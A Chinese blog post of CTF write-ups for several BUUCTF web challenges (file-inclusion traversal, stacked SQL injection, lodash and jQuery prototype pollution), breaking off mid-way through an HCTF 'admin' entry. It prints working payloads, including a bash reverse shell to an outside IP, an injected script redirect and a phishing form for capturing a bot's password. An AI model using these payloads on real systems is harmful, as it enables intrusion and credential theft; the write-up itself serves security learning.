本文最后更新于:星期二, 六月 16日 2020, 2:30 下午
BUUCTF部分题目的笔记
持续更新
[HCTF 2018]WARMUP
进题目就是一张滑稽,右键看源码,有一个hint指向source.php,打开看看,源码给出来了
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
一个比较明显的文件包含,关键是要满足checkFile()
这个函数,有三个方式可以满足这个函数:
- 传入的file包含在白名单[source.php, hint.php]中(这个显然没有什么用处了)
- 传入的file由第一个出现的?分割,?前面出现的页面在白名单中
- 传入的file经过url解码之后,由第一个出现的?分割,?前面出现的页面在白名单中
打开hint.php看一看,有一道提示flag not here, and flag in ffffllllaaaagggg
我们可以利用第二点或者第三点来绕过,在?前面使用白名单中的页面,后面使用目录穿越,使php将?前面的部分识别为目录,例如source.php?/../flag
,这样/
前面的部分就会被解释为路径
最后flag在根目录下,payload:source.php?file=hint.php?/../../../../ffffllllaaaagggg
后面经过查阅资料发现出题思路来自phpmyadmin的一个CVE:phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)
[强网杯 2019] 随便注
自己做这道题的时候,由于发现 select,where等关键词都被过滤了,首先考虑到的是bool盲注,虽然注出了库名,但是后面的跨表查询完全没有思路,查了dalao的wp发现一些骚操作,记录一下。
堆叠注入
这个我完全没有考虑到,题刷少了。show关键字没有过滤,可以通过
show databases|show tables
来获取表名以及数据库名,重点是可以查询到表中的字段名show columns from <tablename>
通过修改表名达到查询flag的效果(rename, alter)
通过堆叠注入发现后端查询的表名为words,查询语句大概为
select * from words where id=$GET['inject']
,而flag在当前数据库的另一个表1919810931114514中,word中的字段包括id, data
,所以可以通过rename
语句修改表中字段名,再使用alter语句添加一个id字段,达到查询flag的效果payload:1’;rename table words to word1;rename table`1919810931114514` to words;alter table words add id int unsigned not null auto_increment primary key#
接下来只需要查询所有id就可以了:1’ or 1=1#
通过设置变量,并使用mysql的预处理以及执行绕过正则表达式的筛查
先贴payload:1’;set @a=concat(“sel”,”ect flag from words”);prepare hello from @a;execute hello#
但是被过滤了
strstr($inject, "set") && strstr($inject, "prepare")
不过strstr不区分大小写,可以使用大小写绕过,所以这里应该是原题的预期解,用这个方法我们理论上可以执行任何语句
最终payload:1’;sEt @a=concat(“sel”,”ect flag from words”);Prepare hello from @a;execute hello#
这个payload先定义了一个变量,使用拼接的方式绕过了对select的检测,然后使用prepare这个预处理语句给这个语句分配了名字,之后可以用execute语句执行,用deallocate prepare语句释放该名字。
这里再插一道该题的升级版,复旦的新生赛:
[FudanCTF 2019] 你再注试试
这道题在上一题的基础上过滤了set、prepare等关键字:return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
这里就需要用到mysql的新特性handler:https://dev.mysql.com/doc/refman/8.0/en/handler.html
例如:
那这道题的payload就显而易见了,先用堆叠注入show tables获取表名,然后直接:
1’;handler`1919810931114514` open as `test`;handler `test` read next;#
[SUCTF 2019] EasySQL
这个SQL语句的逻辑是select @_POST['query'] || flag from Flag
是我完全没有想到的,查到的wp好像都是基于知道这个逻辑的前提下完成的。
自己做的时候由于from,prepare被过滤,很多路都走不通
涉及知识点:
堆叠注入
* 号无过滤,可以直接通过
*, 1
实现注入(以后多留个心眼可以通过将MySQL的全局变量
@sql_mode
修改成PIPE_AS_CONCAT
,这个变量的意思是将||
不视为或运算符,而是将其视为字符串的连接符。依此,可以得到payload:
1;set sql_mode=pipes_as_concat;select 1
[XCUNA 2019 Qualifier] HardJS
进来是一个登陆/注册界面,注册后登陆可以进入应用。寻找半天无果,扫目录也没看到源码泄露。
无奈去网上找找wp,发现原来比赛当时是给了源码的(…
把源码下下来审审吧。
server.js
中是服务器的主要逻辑代码,可以看到其使用了ejs
作为渲染引擎,并使用了中间件body-parser
,通过这一行代码
app.use(bodyParser.urlencoded({extend: true})).use(bodyParser.json())
说明服务器会接收POST传过来的json数据,而且我也知道这道题目的考察点就是原型链污染(因为就是奔着掌握这个知识点来刷题的),那么我们就可以通过这个接口传入参数到服务端了。
那接下来就是污染链的寻找了。但是我确实是对node.js的了解太少了,先放几个链接:
帮你彻底搞懂JS中的prototype、proto与constructor(图解)
然后是关于本题的WriteUp
https://www.secshi.com/19993.html
这道题目值得花时间好好研究一下。
首先说说原型链污染出现的情况:因为js有这样一个特性,当你调用js对象中的某个属性时,如果在当前对象中找不到,js会通过__proto__
属性找到该对象的父类的prototype
属性,再去父类中寻找你调用的属性。那也就是说,如果我们可以控制父类,往父类中添加属性,那么理论上我们就可以控制子类,以达到篡改程序或执行命令的目的。最常出现污染的函数就是类似merge
、clone
一类的函数
还有一个重点就是关于__proto__
作为键名解析的问题,这个问题在p神的博客中写的很清楚了(就是第一个链接),这里不再赘述,重点就是我们需要用JSON.parse()函数使得我们传入的__proto__
作为键名解析,如果直接传入字符串,则它会直接被引用。(前面说到:这道题目接受JSON数据,要是不接受JSON数据,理论上是没有办法进行污染的)
回到这道题目,那这道题可以进行污染的地方在下面这块代码:
app.get("/get",auth,async function(req,res,next){
var userid = req.session.userid ;
var sql = "select count(*) count from `html` where userid= ?"
// var sql = "select `dom` from `html` where userid=? ";
var dataList = await query(sql,[userid]);
if(dataList[0].count == 0 ){
res.json({})
}else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql
console.log("Merge the recorder in the database.");
var sql = "select `id`,`dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array();
for(var i=0;i<raws.length ;i++){
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));
var sql = "delete from `html` where id = ?";
var result = await query(sql,raws[i].id);
}
var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
var result = await query(sql,[userid, JSON.stringify(doms) ]);
if(result.affectedRows > 0){
ret.push(doms);
res.json(ret);
}else{
res.json([{}]);
}
}else {
console.log("Return recorder is less than 5,so return it without merge.");
var sql = "select `dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var ret = new Array();
for( var i =0 ;i< raws.length ; i++){
ret.push(JSON.parse( raws[i].dom ));
}
console.log(ret);
res.json(ret);
}
});
当datalist的长度大于5时,会执行这一条语句
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));
loadsh插件的defaultsDeep是存在着漏洞的CVE-2019-10744
Lodash是一个一致性、模块化、高性能的JavaScript 实用原生库,不需要引入其他第三方依赖,意在提高开发者效率,提高JS原生方法性能。它通过降低array、number、objects、string 等等的使用难度从而让 JavaScript 变得更简单。此软件包的<4.17.12版本会受到原型污染的影响。
在Lodash库中
defaultsDeep
函数可以进行构造函数(constructor)重载,通过构造函数重载的方式可以欺骗添加或修改Object.prototype的属性,这个性质可以被用于原型污染。验证POC:
const mergeFn = require('lodash').defaultsDeep; const payload = '{"constructor": {"prototype": {"a0": true}}}' function check() { mergeFn({}, JSON.parse(payload)); if (({})[`a0`] === true) { console.log(`Vulnerable to Prototype Pollution via ${payload}`); } } check();
然后是如何让datalist的长度大于5,那就是通过server.js
定义的/add
接口
app.post("/add",auth,async function(req,res,next){
if(req.body.type && req.body.content){
var newContent = {}
var userid = req.session.userid;
newContent[req.body.type] = [ req.body.content ]
console.log("newContent:",newContent);
var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
var result = await query(sql,[userid, JSON.stringify(newContent) ]);
if(result.affectedRows > 0){
res.json(newContent);
}else{
res.json({});
}
}
我们只需要构造type和content两个键值,将Content-Type
设置为application/json
,然后post访问该接口5次以上便可以
污染点找到了,接下来是如何利用原型链污染来获取Flag,这道题目有两种方式:
利用ejs渲染引擎的污染链
因为
server.js
调用了ejs作为模板渲染引擎,经过调试跟进,可以在ejs.js
中发现如下代码compile: function () { if (opts.outputFunctionName) { prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n'; } ... src = this.source; ... fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src); // Return a callable function which will execute the function
这段代码的意思便是,
opt.outputFunctionName
会被作为字符串拼接到prepended
中,然后到src
、fn
最终作为代码执行。而且opt.outputFunctionName
这个成员在函数的上下文中完全没有出现过,也就是undefined
那么我们通过给Object.prototype
加上这一属性,就可以达到RCE的效果了payload如下:
{"type":"test","content":{"constructor":{"prototype": {"outputFunctionName":"a=1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/174.0.223.218/2333 0>&1\"')//"}}}} //BUU机器不通外网,需要申请Basic下的Linux-Lab内网机器
向
/add
接口POST 6次,然后再访问一次/get
,再访问/
或/login
触发render()
函数即可FLAG在环境变量中
利用JQuery
$.extend
污染链+XSS这一方法的思路是来自于robot.py,也就是出题人写的机器人,用于自动访问网站并登录(我反正是完全没有看到这个文件…)里面机器人将环境变量
$FLAG
作为密码进行登录,所以自然可以想到这个思路在控制台中输入
$.fn.jquery
可以看到JQuery的版本号为3.3.0
存在着$.extend
原型链污染漏洞CVE-2019-11358在
./src/core.js
中:155: if ((options = arguments[ i ]) != null)
如果传入的参数arguments[i]不为空,将赋值给options,随后会逐个取出并赋值给copy
158: for (name in options) { 159: copy= options [name];
因此copy值为外部可控
183: target[name] = jQuery.extend (deep,clone, copy);
随后使用jQuery的extend函数将copy对象的内容合并到目标对象clone中,deep是它的可选参数,指示是否深度合并该对象,默认为false,如果为true,且多个对象的同名属性也都是对象,则该“属性对象“的属性也将进行合并。其中,extend函数有以下两个需要注意的地方:
- 如果只为$.extend()指定了一个参数,则意味着参数target被省略。此时,target就是jQuery对象本身。通过这种方式,我们可以为全局对象jQuery添加新的函数。
127:target = arguments[ 0 ] || {},
- 如果多个对象具有相同的属性,则后者会覆盖前者的属性值。
在小于3.4.0版中extend方法不作检查,把copy对象合并到target对象中
187:target[name] = copy;
如果 name 可以为
__proto__
,则会向上影响target 的原型,进而覆盖造成原型污染。下面为验证POC
>let b = $.extend(true,{},JSON.parse('{"__proto__":{"vuln": true}}')) <undefined >console.log({}.vuln); <true <undefined
可以看到当已经发生了原型污染
在补丁中可以看到对属性值进行了过滤:
for ( name in options ) { copy = options[ name ]; // Prevent Object.prototype pollution // Prevent never-ending loop if ( target === copy ) { if ( nam
再看到app.js
中调用到$.extend()
的部分
function getAll(allNode){
$.ajax({
url:"/get",
type:"get",
async:false,
success: function(datas){
for(var i=0 ;i<datas.length; i++){
$.extend(true,allNode,datas[i])
}
// console.log(allNode);
}
})
}
该函数会将后端返回的所有数据(也就是数据库中的信息)复制到allNode
变量中,那我们就可以通过返回一个键值__proto__
,进行原型链污染,污染前端的Object.prototype
那如何进行利用?
由于服务器在页面上定义了一个iframe
,并且没有设置allow-script
选项,所以即使我们可以控制iframe
的内容,但是无法在iframe
中执行脚本,但是我们可以看到ready()
函数下有这一段代码
// init hint
(function(){
var hints = {
header : "自定义内容",
notice: "自定义公告",
wiki : "自定义wiki",
button:"自定义内容",
message: "自定义留言内容"
};
for(key in hints){
// console.log(key);
element = $("li[type='"+key+"']");
if(element){
element.find("span.content").html(hints[key]);
}
}
})();
也就是说,hints中的所有键值都会被取出,并写入到外层的<li type=key></li>
中,那如果我们可以找到一个形似这样的标签的,就可以往页面中写入脚本了,那么我们搜索一下主页,发现了这个标签:<li type=logger>
,那么就只需要污染Object.prototype
,使其含有键值logger
,并且内容为我们可控的js,就可以实现XSS了。
那接下来就是正常的XSS流程了,我们知道机器人会将flag作为密码提交到后台,那么我们可以写入一个重定向window.location=url
将页面重定向到我们的页面上,并在我们的页面上写上表单,让机器人提交即可
所以首先我们要先污染req.session.login
和req.session.id
使机器人访问时可以绕过登录,payload:
{"type":"test","content":{"constructor":{"prototype":{"login":true,"userid":true}}}}
带着这个json访问/add
6次,然后先访问/get
再访问/
触发污染
之后写入以下payload:
{"type":"test","content":{"__proto__":{"logger":"<script>window.location='http://174.0.224.116:8000'</script>"}}}
可以发现你自己访问的时候已经有一个跳转了
之后写一个简单的钓鱼页面,硬钓robot(x
<html>
<body>
<form>
<input type="text" name="username">
<input type="password" name="password">
<input type="submit" value="Submit">
</form>
</body>
</html>
在机子目录下面起一个SimpleHTTPServer就可以X到flag了
这道题真的出的很不错…我也是研究了很长一段时间,还是tcl,javascript的语法都不够熟练,了解也太少了。
[HCTF 2018] admin
打开题目发现是一个页面,右上角菜单栏有两个选项login和register,结合题目名称应该是要使用admin登录,简单的测试了几个弱密码,没有成功登陆,于是随便注册了个账号登录
登录后右上角菜单栏有4个路由/index
、/edit
、/change
、/logout
,用dirsearch扫了一下没有发现源码或者其他路由。
/edit
路由有一个表单,可以提交,但是点击提交之后没看到前端界面有什么变化
/change
路由可以修改用户密码
翻了翻没看见什么有价值的东西,觉得
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!